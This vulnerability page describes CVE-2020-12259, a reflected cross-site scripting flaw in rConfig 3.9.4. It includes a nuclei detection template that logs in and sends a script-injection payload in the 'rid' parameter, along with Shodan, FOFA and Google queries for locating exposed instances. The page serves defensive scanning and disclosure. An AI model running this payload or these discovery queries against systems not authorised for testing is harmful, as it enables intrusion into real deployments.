rConfig 3.9.4 - Cross-Site Scripting

mediumseverity

5.4CVSS score

96.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php

Impact

Authenticated attackers can inject malicious JavaScript through the rid parameter, potentially stealing session cookies or performing administrative actions on behalf of authenticated users.

Fix

Upgrade to rConfig version 3.9.7 or later.

How to confirm it

Send: GET /login.php ; POST /lib/crud/userprocess.php ; GET /configDevice.php?rid="><script>alert(document.domain)</script>
Positive when: status_code_3 == 200 and contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management") and contains(content_type_3, "text/html")

Run it with nuclei: nuclei -id CVE-2020-12259 -u <target>

The full check

id: CVE-2020-12259

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php
  impact: |
    Authenticated attackers can inject malicious JavaScript through the rid parameter, potentially stealing session cookies or performing administrative actions on behalf of authenticated users.
  remediation: |
    Upgrade to rConfig version 3.9.7 or later.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12259
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12259
    cwe-id: CWE-79
    epss-score: 0.96352
    epss-percentile: 0.9988
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2020,cve,rconfig,authenticated,xss,vuln

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from